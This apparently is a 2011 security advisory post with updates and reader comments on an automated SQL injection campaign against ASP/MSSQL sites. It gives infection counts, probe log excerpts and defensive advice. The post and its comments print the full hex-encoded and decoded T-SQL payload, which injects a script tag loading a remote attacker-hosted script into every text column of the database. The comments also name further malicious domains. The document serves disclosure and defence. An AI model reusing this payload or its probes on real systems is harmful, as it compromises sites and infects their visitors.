SQL Injection Attack happening ATM
We've had several reports (thanks guys) of sites being injected with the following string:
"></title><script src="hXXp://lilupophilupop.
Typically it is inserted into several tables. From the information gathered so far it looks targeted at ASP, IIS and MSSQL backends, but that is just speculation. If you find that you have been infected please let us know and if you can share packets, logs please upload them on the contact form.
Mark
UPDATE:
Thanks to those that posted comments and those that worked behind the scenes. The injection string is along the lines Terry posted in his comments. the one I ran across is (note not the whole string is provided)
73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404
320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f5220736
56c65637420632e---------snip----------9746c653e3c7363726970742727202729204645544348204e4558542046524f4d
205461626c655f437572736f722049444f2040542c404320454e4420434c4f5345205461626c655f437572736f7220444
5414c4c4f43415445205461626c655f437572736f72+as+varchar%284000%29%29+exec%28%40s%29
Which decodes to:
declare+@s+varchar(4000)+set+@s=cast(0xset ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('------SNIP-------
IN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="XXXX://lilupophilupop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor+................
When discovered yesterday about 80 sites showed in Google, this morning about 200, by lunch 1000 and a few minutes ago 4000+. Targets include ASP sites and Coldfusion (Thanks Will) The attack seems to work on all versions of MSSQL.
The hex will show in the IIS log files, so monitor those. Make sure that applications only have the access they require, so if the page does not need to update a DB, then use an account that can only read.
Sources of the attack vary, it is automated and spreading fairly rapidly. As one of the comments mentioned it looks like lizamoon which infected over 1,000,000 sites earlier this year.
The trail of the files ends up on "adobeflash page" or fake AV. Blocking access to the lilupophilupop site will prevent infection of clients should they hit an infected site and be redirected.
Mark H - Shearwater
UPDATE 8/12/2011
Firstly thanks to those that have provided comments and additional information. As of a few minutes ago the approximate number of sites infected is about 160,000 sites. Looking at where the infections are shows .com, .de, & .uk as the most affected regions.
- .com - 19,100
- .au - 167
- .uk - 25,200
- .fr - 10,900
- .in - 1,780
- .ie - 2,350
- .ca -1,630
- .be - 4,580
- .nl - 14,000
- .de - 23,200
- .no - 2,410
Based on information in the log files of some incidents the preparation for the attack goes back a little while. Log records show that at least two weeks prior to the actual injection attack the system is being probed for vulnerable pages as well as attempts to identify the product being used. For example:
2011-11-16
05:13:55 176.65.161.71 xxxxxxxx.asp PAGEID=189%27%29%29%2F%2A%2A%2For%2F
%2A%2A%2F1%3D%40%40version------snip----|Line_1:_Incorrect_syntax_near_')'
2011-11-17
10:50:01 64.191.13.178 /xxxxxxxxxxx.asp PAGEID=189%29%2F%2A%2A%2For%2F
%2A%2A%2F1%3D%40%40version--------snip----Syntax_error_converting_the_
varchar_value_'189)/**/or/**/1=@@version--'_to_a_column_of_data_type_int.
2011-11-17
14:48:09 213.229.96.13 /xxxxxxxxxxx.asp PAGEID=189%2F%2A%2A%2For%2F%2A
%2A%2F1%3D%40%40version%29%29------snip----|Syntax_error_converting_the_
varchar_value_'189/**/or/**/1=@@version))--'_to_a_column_of_data_type_int.
2011-11-19
22:24:41 94.228.222.41 /xxxxxxxxxxx.asp PAGEID=189%27%2F%2A%2A%2For%2F%2A%2A%2F1%3D%40%40version%29------snip----|Line_1:_Incorrect_syntax_near_')'.
From the above you can see that over time there are a few attempts, then the next day the next attempt appears in the log files. The attempts are from different IP addresses, but there certainly is some progression based on responses received. In this instance the PAGEID=189 parameter on page xxxxxxxx.asp is vulnerable. If you search your log files for 500 errors, go back a few weeks, you will find the probing queries.
If you are still battling this, please make sure that you identify the entry page. If you restore your DB and bring the system back online without identifying the entry point, then it will only be a matter of time before the system is re-compromised.
I put some things you might look for in the comments section of the diary. The easiest place to start will be to look for the 500 error messages, mainly because the final injection is likely to cause your DB product to throw an error which will show as a 500 error. Even if it does not, you may be able to identify the probing queries and from those identify the final injection.
When looking at fixing the problem do not forget that this vulnerability is a coding issue. You may need to make application changes. To address the issue make sure you perform proper input validation for every parameter you accept.
Mark H - Shearwater
Comments
Dave
Dec 1st 2011
1 decade ago
If you don't do this, a 404 reponse is returned, but if the client looks like an ordinary browers, it will return a 200 reponse with a javascript redirect in the body. It looks like the bad guys may be tracking repeat visits from the same IP address since subsequet requests even with a common user agent receive a 200 OK header reponse, but there is not content.
The interesting stuff appears to be at hxxp://www2.thebestbesentinel.rr.nu but that's as far as I've tracked it
James
Dec 2nd 2011
1 decade ago
2011-12-01 17:12:08 W3SVC1505444441 OURIP GET /VALIDPAGE VALIDPARAM=0&VALIDPARAM=122+declare+%40s+varchar%284000%29+set+%40s%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar%284000%29%29+exec%28%40s%29-- 80 - 78.46.28.97 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.0) 200 0 0
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilupophilupop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor?
trevor
Dec 2nd 2011
1 decade ago
73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72
Mark
Dec 2nd 2011
1 decade ago
96.9.149.76 - - [30/Nov/2011:15:42:17 -0500]
Mark
Dec 2nd 2011
1 decade ago
Will
Dec 2nd 2011
1 decade ago
Mark
Dec 2nd 2011
1 decade ago
JohnW
Dec 2nd 2011
1 decade ago
We got hit first time on Friday morning (Australia time). I spent most of yesterday fixing what I could, and now we've been hit again, but in different tables.
Thanks.
PM
Dec 2nd 2011
1 decade ago
http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html
WhizzMan
Dec 2nd 2011
1 decade ago